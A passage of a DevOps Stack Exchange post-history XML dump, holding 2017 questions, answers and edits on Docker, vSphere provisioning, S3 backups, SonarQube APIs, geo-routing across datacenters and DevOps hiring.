https://en.wikipedia.org/wiki/Kanban&#xD;&#xA;  [11]: https://www.youtube.com/watch?v=kpuJSpp3hhA" ContentLicense="CC BY-SA 3.0" />
  <row Id="7190" PostHistoryTypeId="5" PostId="2283" RevisionGUID="8af5bf69-1aa4-4f5d-a8a4-1390cbdce81b" CreationDate="2017-10-11T08:12:04.587" UserId="4686" Comment="added 14 characters in body" Text="The data of each customer only exist in one of several global datacenters, that all answer to the same hostname (ex. api.company.com)&#xD;&#xA;&#xD;&#xA;**Only a single domain for all customers globally**&lt;br/&gt;&#xD;&#xA;I want to make sure that all global customers only have to use a single domain: api.company.com to access their data, and not something like api-region3.company.com, but it may not be possible.&#xD;&#xA;&#xD;&#xA;**GEO Location DNS may go to wrong datacenter**&lt;br/&gt;&#xD;&#xA;I cannot use geo-location DNS directly, because that would mean that someone might end up accessing a datacenter that does not contain the data for that customer. &#xD;&#xA;&#xD;&#xA;**Possible solution**&lt;br/&gt;&#xD;&#xA;I could use a proxy at each of the datacenters to relay the request to the correct datacenter, based on some information in the request, but I'm not sure if there's some better established industry standard way of doing this, without duplicating the data across all datacenters. In case proxying/relaying is the best option, what is some tried-and-tested options for actually setting this up?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7191" PostHistoryTypeId="2" PostId="2290" RevisionGUID="9c410d3b-f3ce-4b0e-9874-2787cf08618b" CreationDate="2017-10-11T11:22:42.253" UserId="4289" Text="**Scenario**: &#xD;&#xA;&#xD;&#xA;Creating multiple VMs and deploying them to VSphere. Current development uses Packer and Ansible to provision a Fusion VM, with the aim of using Terraform to deploy to VSphere.&#xD;&#xA;&#xD;&#xA;**Issue**:&#xD;&#xA;&#xD;&#xA;I've been having loads of issues with uploading Fusion VMs to VSphere and having to use work arounds such as [this][1], and been wondering if there is a better of doing this.&#xD;&#xA;&#xD;&#xA;**Question**: &#xD;&#xA;&#xD;&#xA;I'm questioning the use of Packer in this scenario (which deploys to Fusion), and doesn't seem to currently support a Packer-&gt;ESXi (VSphere) builder unless it's an ISO.&#xD;&#xA;&#xD;&#xA;Would it be possible to remove Packer entirely from this scenario, so instead of building a Fusion image, provisioning the image, and uploading it to VSphere, use Terraform to deploy an ESXi image (template), and provision that image in-place using Ansible as a provisioner? (such that everything is done in VSphere rather than Fusion then VSphere).&#xD;&#xA;&#xD;&#xA;What are the advantages and disadvantages of doing this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://apple.stackexchange.com/questions/99433/moving-fusion-vms-to-esxi" ContentLicense="CC BY-SA 3.0" />
  <row Id="7192" PostHistoryTypeId="1" PostId="2290" RevisionGUID="9c410d3b-f3ce-4b0e-9874-2787cf08618b" CreationDate="2017-10-11T11:22:42.253" UserId="4289" Text="Deploying to VSphere with Packer and/or Terraform?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7193" PostHistoryTypeId="3" PostId="2290" RevisionGUID="9c410d3b-f3ce-4b0e-9874-2787cf08618b" CreationDate="2017-10-11T11:22:42.253" UserId="4289" Text="&lt;ansible&gt;&lt;deployment&gt;&lt;terraform&gt;&lt;packer&gt;&lt;provisioning&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7194" PostHistoryTypeId="5" PostId="2287" RevisionGUID="418ca1ce-0ef4-42e5-98b4-ef8d9d32815b" CreationDate="2017-10-11T11:33:14.900" UserId="707" Comment="added 140 characters in body" Text="Much of DevOps recruitement happens to follow along the lines of keyword matching, which leads in my opinion to solely technology focus.&#xD;&#xA;&#xD;&#xA;Now, DevOps is about so much more than just technology, and DevOps Engineer is not just a better system administrator with some coding skills.&#xD;&#xA;&#xD;&#xA;**Senior DevOps role/profile means to me also offering seniority in many other foundations and practices beyond infrastructure and software engineering skills** like Lean, Measurement and being open and communicative (who asks DevOps hires for their communication skills, honestly?!)&#xD;&#xA;&#xD;&#xA;So, can a job ad / interview be more efficient in some way - for example, by applying questioning [CALMS][1] categories as well? - Leading to questions like &quot;now, how do you apply lean principles? How were cultural aspects addressed in your recent DevOps projects?&quot; &#xD;&#xA;&#xD;&#xA;Further elaboration:&#xD;&#xA;&#xD;&#xA; - **C**ulture (e.g. strategies for conflict management and attitude to failures, own and others')&#xD;&#xA; - **A**utomation (here you ask about Puppet/Docker etc skills)&#xD;&#xA; - **L**ean (foundations of Lean? Waste types?)&#xD;&#xA; - **M**easurement (ask for tools like JMeter but go also to things like sampling, data modeling..)&#xD;&#xA; - **S**haring (obviously knowledge management and according tools)&#xD;&#xA;&#xD;&#xA;UPDATE - so why wouldn't employers/recruiters structure the interview by CALMS as shown below (additionally, the &quot;automation&quot; section could be formulated along the DevOps [tag:toolchain] model ([document link, readonly][2])?&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;Side note - so [tag:Culture] for example is actually not just a soft skill anymore, for DevOps it is one of the core skills - like all the others in this domain.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://whatis.techtarget.com/definition/CALMS&#xD;&#xA;  [2]: https://docs.google.com/spreadsheets/d/1YTtYCDii9ae6xgMSAkXESrMClnVo92joF5a0MdKYyj0/edit?usp=sharing&#xD;&#xA;  [3]: https://i.stack.imgur.com/d6SAf.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="7195" PostHistoryTypeId="2" PostId="2291" RevisionGUID="95dcdeb1-3160-4d59-a347-ae5e0251a3fd" CreationDate="2017-10-11T13:25:55.260" UserId="4703" Text="We currently use a Windows based server to host 2 VMs. One VM uses Windows with a windows app and the other VM uses Linux with a linux app. &#xD;&#xA;&#xD;&#xA;Is the below scenario possible? &#xD;&#xA;&#xD;&#xA;Bare server with Windows 2016 (no VMs). Install Docker engine. Install windows app container. Install linux app container. &#xD;&#xA;&#xD;&#xA;Does the Docker engine abstract away the OS such that this configuration will run both apps? Meaning that the Docker engine works as an &quot;interpreter&quot; akin to how Java code can run on various OS's?&#xD;&#xA;&#xD;&#xA;Thanks." ContentLicense="CC BY-SA 3.0" />
  <row Id="7196" PostHistoryTypeId="1" PostId="2291" RevisionGUID="95dcdeb1-3160-4d59-a347-ae5e0251a3fd" CreationDate="2017-10-11T13:25:55.260" UserId="4703" Text="Does Docker allow containers to be OS agnostic?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7197" PostHistoryTypeId="3" PostId="2291" RevisionGUID="95dcdeb1-3160-4d59-a347-ae5e0251a3fd" CreationDate="2017-10-11T13:25:55.260" UserId="4703" Text="&lt;docker&gt;&lt;containers&gt;&lt;linux&gt;&lt;windows&gt;&lt;servers&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7198" PostHistoryTypeId="2" PostId="2292" RevisionGUID="baed8d32-0fd9-4a3d-bb38-b63bdac206cc" CreationDate="2017-10-11T13:29:14.213" UserId="503" Text="Yeah go nuts, you can run whatever you want in the container so long as the host supports virtualisation and can run the docker binary!" ContentLicense="CC BY-SA 3.0" />
  <row Id="7200" PostHistoryTypeId="5" PostId="2291" RevisionGUID="e3a1f7ab-cf21-431b-a128-79faae660ce1" CreationDate="2017-10-11T17:02:08.750" UserId="739" Comment="remove premature thanks and add capitals" Text="We currently use a Windows based server to host 2 VMs. One VM uses Windows with a Windows app and the other VM uses Linux with a Linux app. &#xD;&#xA;&#xD;&#xA;Is the below scenario possible? &#xD;&#xA;&#xD;&#xA;Bare server with Windows 2016 (no VMs). Install Docker engine. Install Windows app container. Install Linux app container. &#xD;&#xA;&#xD;&#xA;Does the Docker engine abstract away the OS such that this configuration will run both apps? Meaning that the Docker engine works as an &quot;interpreter&quot; akin to how Java code can run on various OS's?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7201" PostHistoryTypeId="24" PostId="2291" RevisionGUID="e3a1f7ab-cf21-431b-a128-79faae660ce1" CreationDate="2017-10-11T17:02:08.750" Comment="Proposed by 739 approved by 40, 13 edit id of 483" ContentLicense="CC BY-SA 3.0" />
  <row Id="7202" PostHistoryTypeId="50" PostId="1978" RevisionGUID="ee40fd81-54ec-4d36-9a64-51c504cd21f6" CreationDate="2017-10-11T17:02:24.537" UserId="-1" />
  <row Id="7203" PostHistoryTypeId="2" PostId="2293" RevisionGUID="e2cad843-8f25-4414-b236-d5b3aeec49ba" CreationDate="2017-10-11T17:19:37.067" UserId="2765" Text="You can take backup of s3 using Amazon, other cloud services like google and local system.&#xD;&#xA;&#xD;&#xA; - Local system&#xD;&#xA;&#xD;&#xA;&gt; S3 Browser comes with a simple Folder Sync Tool allowing you to upload or download only new and changed files and thereby significantly optimize your bandwidth usage and save you time when performing backups to Amazon S3.&#xD;&#xA;&#xD;&#xA;This very good tool if your using window. here is the link [http://s3browser.com/amazon-s3-folder-sync.aspx][1]&#xD;&#xA;if you using Linux based system then i tired this tool also good one [DragonDisk][2]&#xD;&#xA;&#xD;&#xA; - cloud-based backup&#xD;&#xA;&#xD;&#xA;you can take backup of s3 in google cloud as well.&#xD;&#xA;&#xD;&#xA;&gt; The gsutil command-line tool also enables you to transfer data between Cloud Storage and other locations. While you can use gsutil to work with Amazon S3 buckets and transfer data from Amazon S3 to Google Cloud Storage, Storage Transfer Service is recommended for this use case.&#xD;&#xA;&#xD;&#xA; - AWS&#xD;&#xA;&#xD;&#xA;&gt; As with any environments, the best practice is to have a backup and to put in place safeguards against malicious or accidental users errors. For S3 data, that best practice includes secure access permissions, Cross-Region Replication, versioning and a functioning, regularly tested backup.&#xD;&#xA;&#xD;&#xA; - How durable is Amazon S3?&#xD;&#xA;&#xD;&#xA;&gt; Amazon S3 Standard and Standard - IA are designed to provide&#xD;&#xA;&gt; 99.999999999% durability of objects over a given year. This durability level corresponds to an average annual expected loss of 0.000000001%&#xD;&#xA;&gt; of objects. For example, if you store 10,000 objects with Amazon S3,&#xD;&#xA;&gt; you can on average expect to incur a loss of a single object once&#xD;&#xA;&gt; every 10,000,000 years. In addition, Amazon S3 is designed to sustain&#xD;&#xA;&gt; the concurrent loss of data in two facilities.&#xD;&#xA;&#xD;&#xA;[https://aws.amazon.com/s3/faqs/][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://s3browser.com/amazon-s3-folder-sync.aspx&#xD;&#xA;  [2]: http://www.s3-client.com/&#xD;&#xA;  [3]: https://aws.amazon.com/s3/faqs/" ContentLicense="CC BY-SA 3.0" />
  <row Id="7204" PostHistoryTypeId="5" PostId="217" RevisionGUID="3ac93765-1274-4302-915d-63a554ea8a67" CreationDate="2017-10-11T21:34:21.607" UserId="47" Comment="fixed grammar" Text="The fact that you don't have SSH access doesn't mean there is no way to access the machine. Most likely you'll be running it on some cloud operator, where you can also do the following:&#xD;&#xA;&#xD;&#xA;* take a snapshot of the machine. You could simply take a snapshot of the box before destroying it, for later analysis.&#xD;&#xA;* access the machine through the console. You'll probably need to have the root password for this, but some cloud providers can inject a random root password for console access at any time.&#xD;&#xA;&#xD;&#xA;These are essentially &quot;physical&quot; access to your machine, and will be available even if you remove other types of access. You could limit these interfaces as well though.&#xD;&#xA;&#xD;&#xA;Apart from this as @Tensibai said the better thing to do is have proper logging and monitoring set up, so any time you'll have to do a post mortem, there are enough data available to do it." ContentLicense="CC BY-SA 3.0" />
  <row Id="7205" PostHistoryTypeId="2" PostId="2294" RevisionGUID="97a56359-19b5-4e8b-b3bb-afbc71d7a221" CreationDate="2017-10-11T21:35:13.367" UserId="4369" Text="&gt;Does the Docker engine abstract away the OS such that this configuration will run both apps?&#xD;&#xA;&#xD;&#xA;No, it does not. Docker uses containerisation as a core technology, which relies on the concept of *sharing a kernel* between containers. If one Docker image relies on a Windows kernel and another relies on a Linux kernel, you cannot run those two images on the same OS.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When you install Linux Docker on Windows, you're actually setting up a Linux VM in Hyper-V. You can open the Hyper-V console and see a VM called &quot;MobyLinuxVM&quot;. There's a lot of work done to abstract this away from you e.g. the `docker` binary can connect to the Linux VM and run the same commands you're used to, networking between the host and VM tries to be seamless, volume mounting, etc. Ultimately it's not Docker that lets you run a Linux Docker image on Windows, it's just plain old virtualisation." ContentLicense="CC BY-SA 3.0" />
  <row Id="7206" PostHistoryTypeId="5" PostId="209" RevisionGUID="e37229b8-5949-4493-ba83-44f0390f6af6" CreationDate="2017-10-11T21:49:31.653" UserId="13" Comment="edited body" Text="First of all, removing ssh on an immutable server doesn't guarantee there'll be no change, it's more that as there should be no need to change something you reduce the attack surface by removing a remote access channel.&#xD;&#xA;&#xD;&#xA;One way to keep a sort of post-mortem is log centralisation. There's a myriad of methods to achieve it, ELK stack, Splunk, syslog...&#xD;&#xA;&#xD;&#xA;Another more crude way to keep a post mortem for an immutable server is to have a script on the shutdown process (an immutable server failing would be shutdown and a new one spin up to replace it) to gather a core dump of the program, a memory dump and send them to a remote system for analysis along with most of the logs.&#xD;&#xA;&#xD;&#xA;Main advantage of this solution is that you get back only failing system information at time of problem, allowing to gather larger informations than getting them periodically.&#xD;&#xA;&#xD;&#xA;It's hard to be more specific on how to achieve this, each distribution has some way to get things and I've no generic example. " ContentLicense="CC BY-SA 3.0" />
  <row Id="7207" PostHistoryTypeId="5" PostId="2294" RevisionGUID="da46c64c-3d2e-4436-b705-2de14378fcb4" CreationDate="2017-10-11T21:51:46.463" UserId="13" Comment="added 103 characters in body" Text="&gt;Does the Docker engine abstract away the OS such that this configuration will run both apps?&#xD;&#xA;&#xD;&#xA;No, it does not. Docker uses containerisation as a core technology, which relies on the concept of *sharing a kernel* between containers. If one Docker image relies on a Windows kernel and another relies on a Linux kernel, you cannot run those two images on the same OS.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When you install Linux Docker on Windows, you're actually setting up a Linux VM in Hyper-V, the LinuxKit details are [here](https://blog.docker.com/2017/09/preview-linux-containers-on-windows/). You can open the Hyper-V console and see a VM called &quot;MobyLinuxVM&quot;. There's a lot of work done to abstract this away from you e.g. the `docker` binary can connect to the Linux VM and run the same commands you're used to, networking between the host and VM tries to be seamless, volume mounting, etc. Ultimately it's not Docker that lets you run a Linux Docker image on Windows, it's just plain old virtualisation." ContentLicense="CC BY-SA 3.0" />
  <row Id="7208" PostHistoryTypeId="2" PostId="2295" RevisionGUID="1abbc0bf-314d-454e-a7a1-1dc13ca1a322" CreationDate="2017-10-11T21:56:32.563" UserId="13" Text="I'm using vagrant with vsphere plugin, starting from a 'base' image already present on vsphere.&#xD;&#xA;&#xD;&#xA;The new machine is then fully configured (inlcluding middleware) by chef after vsphere customization. &#xD;&#xA;&#xD;&#xA;That's one in many possibilities, unsure this question lead to actionnable answers out of everyone 'workaround'." ContentLicense="CC BY-SA 3.0" />
  <row Id="7212" PostHistoryTypeId="5" PostId="396" RevisionGUID="da6758b0-4034-4906-95f1-c30384536777" CreationDate="2017-10-11T22:41:24.807" UserId="47" Comment="fixed grammar" Text="I'd like to understand the differences between Linux Containers and Docker, especially what kind of advantages Containers have in comparison to Docker.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7213" PostHistoryTypeId="4" PostId="396" RevisionGUID="da6758b0-4034-4906-95f1-c30384536777" CreationDate="2017-10-11T22:41:24.807" UserId="47" Comment="fixed grammar" Text="Advantages of Linux Containers over Docker" ContentLicense="CC BY-SA 3.0" />
  <row Id="7215" PostHistoryTypeId="5" PostId="693" RevisionGUID="ba982f93-1ab0-496b-96dc-f467519c8b3b" CreationDate="2017-10-11T23:03:58.680" UserId="47" Comment="fixed typo" Text="I've been reading [Jim Bird's DevOpsSec][1] book, one of the statements in [Chapter 4 - Security as Code][2] is as follows:&#xD;&#xA;&#xD;&#xA;&gt; Agile ideas and principles—working software over documentation, frequent delivery, face-to-face collaboration, and a focus on technical excellence and automation—form the foundation of DevOps. **And Continuous Delivery, which is the control framework for DevOps**, is also built on top of a fundamental Agile development practice: Continuous Integration. *(O'Reilly 2016, ISBN 9781491971413)*&#xD;&#xA;&#xD;&#xA;My understanding of a [control framework][3] was that it declares certain Control Objectives such as:&#xD;&#xA;&#xD;&#xA; - Payments are made only for authorised products and services received.&#xD;&#xA;&#xD;&#xA;This may be satisfied by some process built into the system, and would likely have a number of checks and balances; however, you wouldn't say that that process *is* the Control Framework.&#xD;&#xA;&#xD;&#xA;To me it feels that that sentence should read: &quot;And Continuous Delivery *satisfies* the Control Framework for DevOps&quot;.&#xD;&#xA;&#xD;&#xA;Am I totally wrong? Is Continuous Delivery the Control Framework for DevOps?&#xD;&#xA;&#xD;&#xA;Or, am I right and Continuous Delivery is not the control Framework for DevOps?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.oreilly.com/webops-perf/free/devopssec.csp?download=true&#xD;&#xA;  [2]: https://www.safaribooksonline.com/library/view/devopssec/9781491971413/ch04.html&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Internal_control" ContentLicense="CC BY-SA 3.0" />
  <row Id="7216" PostHistoryTypeId="6" PostId="690" RevisionGUID="34760610-db30-41cd-bfdf-b239aef20838" CreationDate="2017-10-11T23:05:44.380" UserId="47" Comment="edited tags" Text="&lt;deployment&gt;&lt;configuration-management&gt;&lt;configuration&gt;&lt;software-recommendation&gt;&lt;casc&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7217" PostHistoryTypeId="2" PostId="2297" RevisionGUID="63c14618-9949-4619-9632-28355fe08ad8" CreationDate="2017-10-12T00:30:23.750" UserId="4117" Text="So I am using docker compose to build two containers, one is nodejs with pm2 and another is nginx, the nginx runs well but the nodejs with pm2 always restarted, so it runs for one second, then stopped for ~10 seconds, then started again and run for one second, as you can see this is the output of `docker ps -a`:&#xD;&#xA;[![docker ps -a][1]][1]&#xD;&#xA;I have used `docker attach 'ID'` but it still restarted.&#xD;&#xA;&#xD;&#xA;using `docker logs` result nothing, but from my jenkins it says that pm2 was started successfully:&#xD;&#xA;[![jenkins output log][2]][2]&#xD;&#xA;&#xD;&#xA;This is the content of my Dockerfile:&#xD;&#xA;&#xD;&#xA;&gt; FROM node:8&#xD;&#xA;&gt; &#xD;&#xA;&gt; MAINTAINER test&#xD;&#xA;&gt; &#xD;&#xA;&gt; RUN npm install -g pm2&#xD;&#xA;&gt; &#xD;&#xA;&gt; WORKDIR /var/www/marketing&#xD;&#xA;&gt; &#xD;&#xA;&gt; &#xD;&#xA;&gt; EXPOSE 80&#xD;&#xA;&gt; &#xD;&#xA;&gt; RUN npm install&#xD;&#xA;&gt; &#xD;&#xA;&gt; RUN pm2 start npm -- stage&#xD;&#xA;&#xD;&#xA;If any of you could help me, I will update this question if you guys have any request.&#xD;&#xA;Thank you&#xD;&#xA;  [1]: https://i.stack.imgur.com/kgHub.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/yUpyb.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="7218" PostHistoryTypeId="1" PostId="2297" RevisionGUID="63c14618-9949-4619-9632-28355fe08ad8" CreationDate="2017-10-12T00:30:23.750" UserId="4117" Text="Docker Container always stopped and started" ContentLicense="CC BY-SA 3.0" />
  <row Id="7219" PostHistoryTypeId="3" PostId="2297" RevisionGUID="63c14618-9949-4619-9632-28355fe08ad8" CreationDate="2017-10-12T00:30:23.750" UserId="4117" Text="&lt;docker&gt;&lt;node.js&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7220" PostHistoryTypeId="5" PostId="2297" RevisionGUID="d5a0e033-9156-48d1-aa76-e3a90d38b20d" CreationDate="2017-10-12T03:36:19.363" UserId="47" Comment="improved formatting" Text="I am using docker compose to build two containers, one is nodejs with pm2 and another is nginx. &#xD;&#xA;&#xD;&#xA;The nginx one runs well but the nodejs with pm2 one keeps restarting: it runs for one second, then stops for ~10 seconds, then starts again and runs for one second, as you can see this is the output of `docker ps -a`:&#xD;&#xA;&#xD;&#xA;[![docker ps -a][1]][1]&#xD;&#xA;&#xD;&#xA;I have used `docker attach 'ID'` but it still restarted.&#xD;&#xA;&#xD;&#xA;Using `docker logs` shows nothing, but jenkins says that pm2 was started successfully:&#xD;&#xA;&#xD;&#xA;[![jenkins output log][2]][2]&#xD;&#xA;&#xD;&#xA;This is the content of my Dockerfile:&#xD;&#xA;&#xD;&#xA;    FROM node:8    &#xD;&#xA;    MAINTAINER test    &#xD;&#xA;    RUN npm install -g pm2&#xD;&#xA;    &#xD;&#xA;    WORKDIR /var/www/marketing    &#xD;&#xA;    &#xD;&#xA;    EXPOSE 80    &#xD;&#xA;&#xD;&#xA;    RUN npm install    &#xD;&#xA;    RUN pm2 start npm -- stage&#xD;&#xA;&#xD;&#xA;If any of you could help me, I will update this question if you guys have any request.&#xD;&#xA;Thank you&#xD;&#xA;  [1]: https://i.stack.imgur.com/kgHub.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/yUpyb.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="7221" PostHistoryTypeId="2" PostId="2298" RevisionGUID="e2506fb8-7dc0-425e-b0da-101cd198b2d7" CreationDate="2017-10-12T04:11:04.993" UserId="4716" Text="In our Jenkins pipeline, we have a step for Sonar analysis (configured with QualityGate profiles) and the current process is :&#xD;&#xA;&#xD;&#xA; &gt; Sonar scanner runs as part of the pipeline step and initiates a task&#xD;&#xA; &gt; Wait for task to complete (https://mycompany.sonarqube.com/api/ce/task?id=AV8Jfnt0WkeTJL_PsTCU)&#xD;&#xA; &gt; Fetch the corresponding AnalysisID for the above task (by doing 'GET' on above URL)&#xD;&#xA; &gt; Doing a 'GET' on the analysis-ID URL shows the metrics of violations ( https://mycompany.sonarqube.com/api/qualitygates/project_status?analysisId=ANALYSIS_ID )&#xD;&#xA;&#xD;&#xA;What we ideally want is to get the list of files which are causing these violations. I am not able to locate any API which gives this information.&#xD;&#xA;&#xD;&#xA;Any idea how we can get the list of source-code files causing violations ? &#xD;&#xA;&#xD;&#xA;thanks&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7222" PostHistoryTypeId="1" PostId="2298" RevisionGUID="e2506fb8-7dc0-425e-b0da-101cd198b2d7" CreationDate="2017-10-12T04:11:04.993" UserId="4716" Text="API to fetch Quality Gate Failures" ContentLicense="CC BY-SA 3.0" />
  <row Id="7223" PostHistoryTypeId="3" PostId="2298" RevisionGUID="e2506fb8-7dc0-425e-b0da-101cd198b2d7" CreationDate="2017-10-12T04:11:04.993" UserId="4716" Text="&lt;jenkins&gt;&lt;jira&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7224" PostHistoryTypeId="4" PostId="2282" RevisionGUID="1206fa62-64cd-474d-97a0-c589f43b8020" CreationDate="2017-10-12T04:53:18.363" UserId="4678" Comment="edited title" Text="What is the exact use of DETACHED HEAD state in Git?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7225" PostHistoryTypeId="5" PostId="2282" RevisionGUID="233436a3-dccc-4b7c-915e-45111a08dcc8" CreationDate="2017-10-12T05:21:07.550" UserId="4678" Comment="deleted 59 characters in body" Text="&#xD;&#xA;&#xD;&#xA;when i enter into git checkout commitid(specific commit id), it going to detached mode where HEAD POINTER can't point recent commit.&#xD;&#xA;What are the things we can do and what is the use of going detached head state.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7226" PostHistoryTypeId="5" PostId="1767" RevisionGUID="11a96f88-106a-42d6-b899-2e76d6b2d64f" CreationDate="2017-10-12T06:21:22.173" UserId="47" Comment="improved readability" Text="I'll give you my perspective. Developers should care about docker as there are other developers who are willing to use docker and have already built an expertise in it. They are willing to take up the roles of a DevOps engineer along with being a developer. So the Ops part of DevOps is what they are now building expertise on. &#xD;&#xA;&#xD;&#xA;These days, you'll find more and more guys who can develop, orchestrate, automate tests, automate jobs and build tools to monitor and take this complete package into production single-handedly. These are the guys who are pushing docker and other tools among the developer community. &#xD;&#xA;&#xD;&#xA;Also, the tide of market is towards virtualization, auto-scaling, automation, machine learning and docker fits in all of these. It has become very imperative to use docker. The businesses are willing to pay 2x for a single guy who takes all these responsibilities and when there is demand for such guys, the supply will also begin. This is from point of view of an employee-employer.&#xD;&#xA;&#xD;&#xA;Technically, in the organisations I have worked, there are separate development and DevOps teams, although they work very closely for deliveries.&#xD;&#xA;The DevOps engineers and developers share a vast majority of skill-sets here and hence there is a negotiation of duties sometimes. &#xD;&#xA;&#xD;&#xA;The bare minimum a developer can do is to share his binaries, but he needs to understand that the binaries will be used to run inside a docker container and for that he needs to undestand how docker works. For kubes, swarms, mesos etc, the developer may not even care what's being used, but basics of docker should be very well understood by the developer and a mindset should be there from the begining to build the application loosely coupled for re-use as micro-services. If the application is built from that mindset (which requires basics of docker), then the DevOps engineers can take it up from there to auto-scale, orchestrate, test, deploy and monitor. &#xD;&#xA;&#xD;&#xA;Also, most of the times there is no one size fits all kind of thing. A developer does not know clearly how to build a docker friendly app and a DevOps engineer quite rightly does not know the internals of the app building process. Hence, most of the times, organisations prefer to give both these tasks to the same guy to speed things up. If there are separate things, then a continuous feedback mechanism is required from the DevOps team to the dev team for making the apps more futuristic and docker/cloud/scaling ready." ContentLicense="CC BY-SA 3.0" />
  <row Id="7227" PostHistoryTypeId="5" PostId="2288" RevisionGUID="417be23e-afcc-4f53-95c4-ee2ef8c8b8c3" CreationDate="2017-10-12T06:56:57.023" UserId="3616" Comment="added 1650 characters in body" Text="**EDIT**&#xD;&#xA;&#xD;&#xA;I believe that this depends from organisation to organisation and what a DevOps / Senior DevOps is expected to do, therefore, your first sentence is 100% accurate. Because, a DevOps should be able to use a set of tools that the company uses and also improve or bring new set of tools which enables the company and its developers to work faster and waste less.&#xD;&#xA;&#xD;&#xA;In my opinion a DevOps should have strong SysAdmin skills and obviously coding skills as Puppet, Chef, Python, Bash will be used extensively as well as some knowledge of the code that goes on the servers at least to be able to do minor debugging on why the application doesn't behave as expected from one environment to the other.&#xD;&#xA;&#xD;&#xA;Now, as a Senior DevOps, CALM may be applied however, the Lean and Measurement principles might / might not apply. For example we are developing applications using Chef / Puppet / Ansible to automate the mundane things and keep everything in sync which obviously saves time and produces less *waste*.  &#xD;&#xA;&#xD;&#xA;Regarding measurement, I am not sure if that's applicable in most of the cases. However, the other CALM principles are part of a DevOps position.&#xD;&#xA;&#xD;&#xA;Having good communication skills is also important as a DevOps, but more important as a Senior DevOps because you will have to not only deal with your team and share knowledge and with the developers as you are there to support them, but also you might have to create reports and keep presentations in front of the management.  &#xD;&#xA;&#xD;&#xA;I like the spreadsheet you added, and is good to have a point system, however, some of the companies are also adding more skills / technologies in a job advert than required.&#xD;&#xA;&#xD;&#xA;Also, after a telephone interview (if there's one) I'd find it useful that in an interview you will be given some problems to resolve or at least to show your debugging process and how you will behave in given situations. Personally, I dislike written tests as I believe there are 'n' ways of solving a problem, and also, sometimes *Google* is your friend, as you are not expected to know everything by heart.&#xD;&#xA;&#xD;&#xA;As a DevOps / Senior DevOps I believe there's a line between the applications that are used and knowledge. You could be amazing at using these new / old tools or write code, but when it comes to debugging or just understanding what the problem with a server, Jenkins job might be you are not able to do so.&#xD;&#xA;&#xD;&#xA;Finally, the spreadsheet presented I think is a way of assessing a  DevOps knowledge also for a Senior position I might add there some Interpersonal and Management skills to make it complete.&#xD;&#xA;&#xD;&#xA;And when it comes to the selection process you could have a look at the spreadsheet and pick the person with a score that you believe is the right one for your organisation as well as keeping in mind his(er) behaviour during the interview and the way (s)he presented / answered those questions." ContentLicense="CC BY-SA 3.0" />
  <row Id="7228" PostHistoryTypeId="5" PostId="1063" RevisionGUID="7befc5da-1797-4028-952d-6b8ee74b0803" CreationDate="2017-10-12T07:11:56.530" UserId="47" Comment="improved Usage guidance" Text="For questions about capacity planning, which is about estimating various IT resources required over some future period of time." ContentLicense="CC BY-SA 3.0" />
  <row Id="7229" PostHistoryTypeId="24" PostId="1063" RevisionGUID="7befc5da-1797-4028-952d-6b8ee74b0803" CreationDate="2017-10-12T07:11:56.530" Comment="Proposed by 47 approved by 40 edit id of 484" ContentLicense="CC BY-SA 3.0" />
  <row Id="7230" PostHistoryTypeId="5" PostId="2275" RevisionGUID="82e02b9b-ee3a-493c-9261-d35d9aff5f6d" CreationDate="2017-10-12T08:38:44.480" UserId="887" Comment="added 40 characters in body" Text="I would like to know how people are making external backups of **S3** buckets and best practices/recommendations for this other than downloading the files via s3.&#xD;&#xA;&#xD;&#xA;The **S3** buckets functionality seems to be very limited.&#xD;&#xA;&#xD;&#xA;The way I'm looking at doing this now is by downloading the data to an external server (**bare-metal** as **EC2** instance is a lot more expensive) and then pushing that to my backups provider.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7231" PostHistoryTypeId="8" PostId="2275" RevisionGUID="1bb4b513-858b-4c69-81b6-f53f1e641a53" CreationDate="2017-10-12T08:39:11.380" UserId="887" Comment="Rollback to [0aea2e85-9564-44f2-ac11-ec766e41da0f]" Text="I would like to know how people are making external backups of **S3** buckets and best practices/recommendations for this.&#xD;&#xA;&#xD;&#xA;The **S3** buckets functionality seems to be very limited.&#xD;&#xA;&#xD;&#xA;The way I'm looking at doing this now is by downloading the data to an external server (**bare-metal** as **EC2** instance is a lot more expensive) and then pushing that to my backups provider.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
